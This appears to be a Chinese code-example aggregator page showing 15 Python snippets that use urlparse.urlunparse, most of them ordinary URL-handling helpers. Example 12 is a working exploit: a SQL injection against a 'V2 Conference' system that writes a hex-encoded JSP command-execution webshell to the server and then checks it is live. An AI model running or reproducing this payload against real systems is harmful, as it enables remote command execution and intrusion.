當前位置: 首頁>>代碼示例>>Python>>正文


Python urlparse.urlunparse方法代碼示例

本文整理匯總了Python中urlparse.urlunparse方法的典型用法代碼示例。如果您正苦於以下問題:Python urlparse.urlunparse方法的具體用法?Python urlparse.urlunparse怎麽用?Python urlparse.urlunparse使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在urlparse的用法示例。


在下文中一共展示了urlparse.urlunparse方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: format_url_param

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def format_url_param(url):
        url_st = urlparse.urlparse(url)
        queries = url_st.query
        if not queries:
            return
        new_queries = ""
        for eq in queries.split("&"):
            key = eq.split("=")[0]
            value = eq.split("=")[1]
            if value.isdigit():
                value = "<int>"
            new_queries += key + "=" + value + "&"
        new_queries = new_queries.strip("&")
        url = urlparse.urlunparse((
            url_st.scheme,
            url_st.netloc,
            url_st.path,
            url_st.params,
            new_queries,
            url_st.fragment,
        ))
        return url 
開發者ID:lightless233,項目名稱:Pansidong,代碼行數:24,代碼來源:WebSpider.py

示例2: url

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def url(self, value):
        self.__dict__['url'] = value
        if value is not None:
            scheme, netloc, path, params, query, fragment = urlparse.urlparse(value)

            # Exclude default port numbers.
            if scheme == 'http' and netloc[-3:] == ':80':
                netloc = netloc[:-3]
            elif scheme == 'https' and netloc[-4:] == ':443':
                netloc = netloc[:-4]
            if scheme not in ('http', 'https'):
                raise ValueError("Unsupported URL %s (%s)." % (value, scheme))

            # Normalized URL excludes params, query, and fragment.
            self.normalized_url = urlparse.urlunparse((scheme, netloc, path, None, None, None))
        else:
            self.normalized_url = None
            self.__dict__['url'] = None 
開發者ID:gkudos,項目名稱:qgis-cartodb,代碼行數:20,代碼來源:__init__.py

示例3: make_next_param

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def make_next_param(login_url, current_url):
    '''
    Reduces the scheme and host from a given URL so it can be passed to
    the given `login` URL more efficiently.

    :param login_url: The login URL being redirected to.
    :type login_url: str
    :param current_url: The URL to reduce.
    :type current_url: str
    '''
    l = urlparse(login_url)
    c = urlparse(current_url)

    if (not l.scheme or l.scheme == c.scheme) and \
            (not l.netloc or l.netloc == c.netloc):
        return urlunparse(('', '', c.path, c.params, c.query, ''))
    return current_url 
開發者ID:jpush,項目名稱:jbox,代碼行數:19,代碼來源:flask_login.py

示例4: run

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def run():
    sites = requests.get('http://atlas-agis-api.cern.ch/request/ddmendpoint/query/list/?json').json()
    tmp = []  # needed because urlparse returns constant tuples
    res = []

    for site in sites:
        try:
            # let's hope the JSON schema doesn't change in the future
            tmp.append((site['token'], urlparse.urlparse(str(''.join([s for s in site['protocols'] if s.startswith('srm')][0] + [site['protocols'][s] for s in site['protocols'] if s.startswith('srm')][0][0][2])))))
        except:
            pass
    for t in tmp:
        u = list(t[1])
        v = urlparse.urlunparse(u)

        # Sites that do not have a prefix defined are removed
        if v.endswith('/'):
            res.append((v, str(t[0])))

    res.sort()
    for r in res:
        print '%s:%s' % (r[1], ':'.join(r[0].split(':')[1:])) 
開發者ID:rucio,項目名稱:rucio,代碼行數:24,代碼來源:extract_agis_srm.py

示例5: _add_query_parameter

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def _add_query_parameter(url, name, value):
  """Adds a query parameter to a url.

  Replaces the current value if it already exists in the URL.

  Args:
    url: string, url to add the query parameter to.
    name: string, query parameter name.
    value: string, query parameter value.

  Returns:
    Updated query parameter. Does not update the url if value is None.
  """
  if value is None:
    return url
  else:
    parsed = list(urlparse.urlparse(url))
    q = dict(urlparse.parse_qsl(parsed[4]))
    q[name] = value
    parsed[4] = urllib.urlencode(q)
    return urlparse.urlunparse(parsed) 
開發者ID:mortcanty,項目名稱:earthengine,代碼行數:23,代碼來源:util.py

示例6: get_local_uri

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def get_local_uri(self, uri):
        """
        Convert a remote uri to a local one.

        This method takes a remote service uri accessible to the remote host and
        returns a local uri accessible directly on the local host, establishing
        any necessary port forwarding in the process.

        Args:
            uri (str): The remote uri to be made local.

        Returns:
            str: A local uri that tunnels all traffic to the remote host.
        """
        parsed_uri = urlparse(uri)
        return urlunparse(parsed_uri._replace(netloc='localhost:{}'.format(self.port_forward(parsed_uri.netloc)))) 
開發者ID:airbnb,項目名稱:omniduct,代碼行數:18,代碼來源:base.py

示例7: can_fetch

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def can_fetch(self, useragent, url):
        """using the parsed robots.txt decide if useragent can fetch url"""
        if self.disallow_all:
            return False
        if self.allow_all:
            return True
        # search for given user agent matches
        # the first match counts
        parsed_url = urlparse.urlparse(urllib.unquote(url))
        url = urlparse.urlunparse(('', '', parsed_url.path,
            parsed_url.params, parsed_url.query, parsed_url.fragment))
        url = urllib.quote(url)
        if not url:
            url = "/"
        for entry in self.entries:
            if entry.applies_to(useragent):
                return entry.allowance(url)
        # try the default entry last
        if self.default_entry:
            return self.default_entry.allowance(url)
        # agent not found ==> access granted
        return True 
開發者ID:glmcdona,項目名稱:meddle,代碼行數:24,代碼來源:robotparser.py

示例8: resolveEntity

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def resolveEntity(self, publicId, systemId):
        assert systemId is not None
        source = DOMInputSource()
        source.publicId = publicId
        source.systemId = systemId
        source.byteStream = self._get_opener().open(systemId)

        # determine the encoding if the transport provided it
        source.encoding = self._guess_media_encoding(source)

        # determine the base URI is we can
        import posixpath, urlparse
        parts = urlparse.urlparse(systemId)
        scheme, netloc, path, params, query, fragment = parts
        # XXX should we check the scheme here as well?
        if path and not path.endswith("/"):
            path = posixpath.dirname(path) + "/"
            parts = scheme, netloc, path, params, query, fragment
            source.baseURI = urlparse.urlunparse(parts)

        return source 
開發者ID:glmcdona,項目名稱:meddle,代碼行數:23,代碼來源:xmlbuilder.py

示例9: resolve_k8s_service_by_url

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def resolve_k8s_service_by_url(url):
    import k8s_get_service
    parsed = urlparse.urlparse(url)
    service = parsed.hostname

    internal_port = parsed.port
    if not internal_port:
        if parsed.scheme == 'http':
            internal_port = 80
        elif parsed.scheme == 'https':
            internal_port = 443

    ip, port = k8s_get_service.resolve_service(service, internal_port)
    netloc = '{}:{}'.format(ip, port)
    modified = list(parsed)
    modified[1] = netloc

    return urlparse.urlunparse(modified) 
開發者ID:monasca,項目名稱:monasca-docker,代碼行數:20,代碼來源:preload.py

示例10: _add_query_parameter

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def _add_query_parameter(url, name, value):
  """Adds a query parameter to a url.

  Replaces the current value if it already exists in the URL.

  Args:
    url: string, url to add the query parameter to.
    name: string, query parameter name.
    value: string, query parameter value.

  Returns:
    Updated query parameter. Does not update the url if value is None.
  """
  if value is None:
    return url
  else:
    parsed = list(urlparse.urlparse(url))
    q = dict(parse_qsl(parsed[4]))
    q[name] = value
    parsed[4] = urllib.urlencode(q)
    return urlparse.urlunparse(parsed) 
開發者ID:splunk,項目名稱:splunk-ref-pas-code,代碼行數:23,代碼來源:util.py

示例11: urlunparse

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def urlunparse(data):
    """
    Modified from urlparse.urlunparse to support file://./path/to urls
    """
    scheme, netloc, url, params, query, fragment = data
    if params:
        url = "%s;%s" % (url, params)
    if netloc:
        url = '//' + (netloc or '') + url
    if scheme:
        url = scheme + ':' + url
    if query:
        url = url + '?' + query
    if fragment:
        url = url + '#' + fragment
    return url 
開發者ID:meltwater,項目名稱:lighter,代碼行數:18,代碼來源:util.py

示例12: getshell

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def getshell(url):
    exp = "/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 UNION SELECT 1,2,3,4,0x497420776F726B7321DA3C2540207061676520636F6E74656E74547970653D22746578742F68746D6C3B20636861727365743D47424B2220253EDA3C2540207061676520696D706F72743D226A6176612E696F2E2A2220253E203C2520537472696E6720636D64203D20726571756573742E676574506172616D657465722822636D6422293B20537472696E67206F7574707574203D2022223B20696628636D6420213D206E756C6C29207B20537472696E672073203D206E756C6C3B20747279207B2050726F636573732070203D2052756E74696D652E67657452756E74696D6528292E6578656328636D64293B204275666665726564526561646572207349203D206E6577204275666665726564526561646572286E657720496E70757453747265616D52656164657228702E676574496E70757453747265616D282929293B207768696C65282873203D2073492E726561644C696E6528292920213D206E756C6C29207B206F7574707574202B3D2073202B225C725C6E223B207D207D20636174636828494F457863657074696F6E206529207B20652E7072696E74537461636B547261636528293B207D207DDA6F75742E7072696E746C6E286F7574707574293B253EDA into dumpfile '../../management/webapps/root/V2ConferenceCmd.jsp'%23"
    urlinfo = urlparse(url)
    check_url = urlunparse((urlinfo.scheme, urlinfo.netloc, '/V2ConferenceCmd.jsp', '', '', ''))
    temp = urlunparse((urlinfo.scheme, urlinfo.netloc, '', '', '', ''))
    exp_url = temp + exp
    try:
        print "[checking] " + url
        req = requests.session()
        resp_one = req.get(exp_url, timeout=5)
        time.sleep(1)
        if resp_one.status_code == 200:
            resp_two = req.get(check_url, timeout=5)
            if resp_two.status_code == 200 and "It works!" in resp_two.content:
                print "[getshell success]"
                print "SHELL: "+check_url
                return
        print u"getshell failed..."
        return
    except Exception, e:
        print "Failed to connection target, try again.." 
開發者ID:euphrat1ca,項目名稱:fuzzdb-collect,代碼行數:23,代碼來源:V2_Conference_GetShell.py

示例13: _BuildUrl

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def _BuildUrl(self, url, path_elements=None, extra_params=None):
        # Break url into constituent parts
        (scheme, netloc, path, params, query, fragment) = urlparse(url)

        # Add any additional path elements to the path
        if path_elements:
            # Filter out the path elements that have a value of None
            p = [i for i in path_elements if i]
            if not path.endswith('/'):
                path += '/'
            path += '/'.join(p)

        # Add any additional query parameters to the query string
        if extra_params and len(extra_params) > 0:
            extra_query = self._EncodeParameters(extra_params)
            # Add it to the existing query
            if query:
                query += '&' + extra_query
            else:
                query = extra_query

        # Return the rebuilt URL
        return urlunparse((scheme, netloc, path, params, query, fragment)) 
開發者ID:doncat99,項目名稱:StockRecommendSystem,代碼行數:25,代碼來源:api.py

示例14: getlinkinfos

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def getlinkinfos(self):
        # File reading is done in __init__() routine.  Store parser in
        # local variable to indicate success of parsing.

        # If no parser was stored, fail.
        if not self.parser: return []

        rawlinks = self.parser.getlinks()
        base = urlparse.urljoin(self.url, self.parser.getbase() or "")
        infos = []
        for rawlink in rawlinks:
            t = urlparse.urlparse(rawlink)
            # DON'T DISCARD THE FRAGMENT! Instead, include
            # it in the tuples which are returned. See Checker.dopage().
            fragment = t[-1]
            t = t[:-1] + ('',)
            rawlink = urlparse.urlunparse(t)
            link = urlparse.urljoin(base, rawlink)
            infos.append((link, rawlink, fragment))

        return infos 
開發者ID:aliyun,項目名稱:oss-ftp,代碼行數:23,代碼來源:webchecker.py

示例15: originForm

# 需要導入模塊: import urlparse [as 別名]
# 或者: from urlparse import urlunparse [as 別名]
def originForm(self):
        """
        The absolute I{URI} path including I{URI} parameters, query string and
        fragment identifier.

        @see: U{https://tools.ietf.org/html/draft-ietf-httpbis-p1-messaging-21#section-5.3}

        @return: The absolute path in original form.
        @rtype: L{bytes}
        """
        # The HTTP bis draft says the origin form should not include the
        # fragment.
        path = urlunparse(
            (b'', b'', self.path, self.params, self.query, b''))
        if path == b'':
            path = b'/'
        return path 
開發者ID:proxysh,項目名稱:Safejumper-for-Desktop,代碼行數:19,代碼來源:client.py


注:本文中的urlparse.urlunparse方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。